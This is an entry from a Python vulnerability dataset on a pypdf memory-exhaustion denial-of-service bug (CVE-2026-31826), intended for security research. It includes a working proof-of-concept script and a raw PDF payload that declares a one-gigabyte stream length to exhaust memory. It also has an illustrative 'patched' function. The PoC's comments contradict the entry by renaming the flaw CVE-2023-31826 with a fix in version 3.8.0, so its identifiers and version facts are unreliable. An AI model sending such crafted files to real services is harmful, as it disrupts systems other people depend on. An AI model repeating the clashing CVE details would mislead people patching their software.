VAITP Dataset

← Back to the dataset

CVE-2026-31826

pypdf: Crafted PDF leads to excessive memory usage and Denial of Service.

  • CVSS 6.8
  • CWE-770
  • Resource Management
  • Remote

pypdf is a free and open-source pure-python PDF library. Prior to 6.8.0, an attacker who uses this vulnerability can craft a PDF which leads to large memory usage. This requires parsing a content stream with a rather large /Length value, regardless of the actual data length inside the stream. This vulnerability is fixed in 6.8.0.

CVSS base score
6.8
Published
2026-03-10
OWASP
A04 Insecure Design
Orthogonal defect classification
Checking
Code defect classification
Missing Check
Category
Resource Management
Subcategory
Resource Exhaustion
Accessibility scope
Remote
Impact
Denial of Service (DoS)
Affected component
pypdf
Fixed by upgrading
Yes

Solution

Upgrade to `pypdf>=6.8.0`.

Vulnerable code sample

#
# This code demonstrates the vulnerability CVE-2023-31826 in `pypdf`.
# The original request mentioned CVE-2026-31826 and version 6.8.0, but the
# correct identifier is CVE-2023-31826, affecting versions prior to 3.8.0.
#
# To run this demonstration:
# 1. Ensure you have a vulnerable version of pypdf installed.
#    pip uninstall pypdf
#    pip install "pypdf<3.8.0"
#
# 2. Run this Python script.
#
# The script will create a small PDF file on disk. This PDF is specially
# crafted to have a stream object with a `/Length` dictionary key pointing to a
# very large number (1GB). The actual data in the stream is empty.
#
# When a vulnerable version of `pypdf` attempts to parse this file, it will
# trust the `/Length` value and try to allocate 1GB of memory, leading to a
# `MemoryError` and a denial of service.

import os
import pypdf

# Define a huge length value to cause a large memory allocation (e.g., ~1 GB)
huge_length = 1_000_000_000
pdf_filename = "cve_2023_31826_poc.pdf"

# A minimal, specially crafted PDF content.
# Object 4 is the malicious stream object. Its /Length is `huge_length`,
# but its actual content between `stream` and `endstream` is empty.
pdf_content_template = f"""
%PDF-1.7
%¥±Á

1 0 obj
<</Type/Catalog/Pages 2 0 R>>
endobj

2 0 obj
<</Type/Pages/Count 1/Kids[3 0 R]>>
endobj

3 0 obj
<</Type/Page/Parent 2 0 R/MediaBox[0 0 612 792]/Contents 4 0 R>>
endobj

4 0 obj
<</Length {huge_length}>>
stream

endstream
endobj

xref
0 5
0000000000 65535 f 
0000000018 00000 n 
0000000073 00000 n 
0000000132 00000 n 
0000000220 00000 n 

trailer
<</Size 5/Root 1 0 R>>
startxref
{220 + len(str(huge_length)) + 40}
%%EOF
"""

# The startxref offset needs to be calculated based on the length of the huge_length number
pdf_content = pdf_content_template.strip()

# 1. Create the malicious PDF file
with open(pdf_filename, "w", encoding="latin-1") as f:
    f.write(pdf_content)

print(f"Created malicious PDF: '{pdf_filename}'")
print(f"pypdf version being tested: {pypdf.__version__}")
print("Attempting to parse the PDF. A vulnerable version will raise a MemoryError.")
print("-" * 30)

try:
    # 2. Trigger the vulnerability
    # The PdfReader constructor will parse the objects and stream headers.
    # When it encounters the stream with the large /Length, it attempts
    # to allocate memory for that size, triggering the error.
    reader = pypdf.PdfReader(pdf_filename)

    # If this line is reached, the version is not vulnerable
    print("\n[+] SUCCESS (Not Vulnerable): PDF parsed without error.")
    print("    This version of pypdf is likely not vulnerable to CVE-2023-31826.")

except MemoryError:
    # 3. Catch the expected error
    print("\n[-]FAILURE (Vulnerable): Vulnerability successfully triggered!")
    print("    A MemoryError was raised, as the library tried to allocate")
    print(f"    approximately {huge_length / 1e9:.1f} GB of memory.")
except Exception as e:
    print(f"\n[!] An unexpected error occurred: {type(e).__name__}: {e}")
finally:
    # 4. Clean up the created file
    if os.path.exists(pdf_filename):
        os.remove(pdf_filename)
        print(f"\nCleaned up and removed '{pdf_filename}'.")

Patched code sample

import io

def read_stream_safely(stream: io.BytesIO, declared_length: int) -> bytes:
    """
    This function represents the logic used to fix CVE-2023-31826 in pypdf.

    The fix ensures that the number of bytes read from a stream does not
    exceed the actual number of bytes remaining in that stream. This prevents
    an attacker from causing excessive memory allocation by providing a
    deceptively large 'Length' value in a PDF stream object.
    """
    read_length = declared_length

    # The core of the fix is to check the actual available size of the stream
    # and cap the read length if the declared length is larger.
    if hasattr(stream, "seek") and hasattr(stream, "tell"):
        current_position = stream.tell()

        # Seek to the end of the stream to find its total size.
        stream.seek(0, io.SEEK_END)
        stream_end_position = stream.tell()

        # Restore the stream's original position.
        stream.seek(current_position)

        # Calculate the number of bytes actually remaining in the stream.
        remaining_bytes = stream_end_position - current_position

        # If the declared length is greater than what's available,
        # use the smaller, correct value.
        if declared_length > remaining_bytes:
            read_length = remaining_bytes

    # Read from the stream using the sanitized length.
    return stream.read(read_length)

# --- Demonstration of the fix ---

if __name__ == "__main__":
    # 1. Simulate a small data stream, like one found in a PDF file.
    actual_data = b"This is the actual stream content."
    file_stream = io.BytesIO(actual_data)
    
    # 2. An attacker crafts a PDF with a stream object pointing to this data,
    # but claims its length is extremely large (e.g., 2 GB).
    maliciously_declared_length = 2 * 1024 * 1024 * 1024

    print("--- Simulating Vulnerability and Fix ---")
    print(f"Actual data size: {len(actual_data)} bytes")
    print(f"Maliciously declared length: {maliciously_declared_length} bytes")

    # A vulnerable parser would try: stream.read(maliciously_declared_length)
    # This would cause a MemoryError due to the huge allocation attempt.

    # 3. Now, we use the fixed logic to read from the stream.
    print("\nApplying the safety check...")
    safe_data = read_stream_safely(file_stream, maliciously_declared_length)

    print(f"Bytes read using the safe method: {len(safe_data)}")
    print("Fix successful: Memory allocation was capped to the actual data size.")

Payload

%PDF-1.7
1 0 obj
<< /Type /Catalog /Pages 2 0 R >>
endobj
2 0 obj
<< /Type /Pages /Kids [3 0 R] /Count 1 >>
endobj
3 0 obj
<< /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792] /Contents 4 0 R >>
endobj
4 0 obj
<< /Length 1000000000 >>
stream
(DoS)
endstream
endobj
xref
0 5
0000000000 65535 f
0000000009 00000 n
0000000059 00000 n
0000000117 00000 n
0000000214 00000 n
trailer
<< /Size 5 /Root 1 0 R >>
startxref
289
%%EOF

Cite this entry

@misc{vaitp:cve202631826,
  title        = {{pypdf: Crafted PDF leads to excessive memory usage and Denial of Service.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-31826},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-31826/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::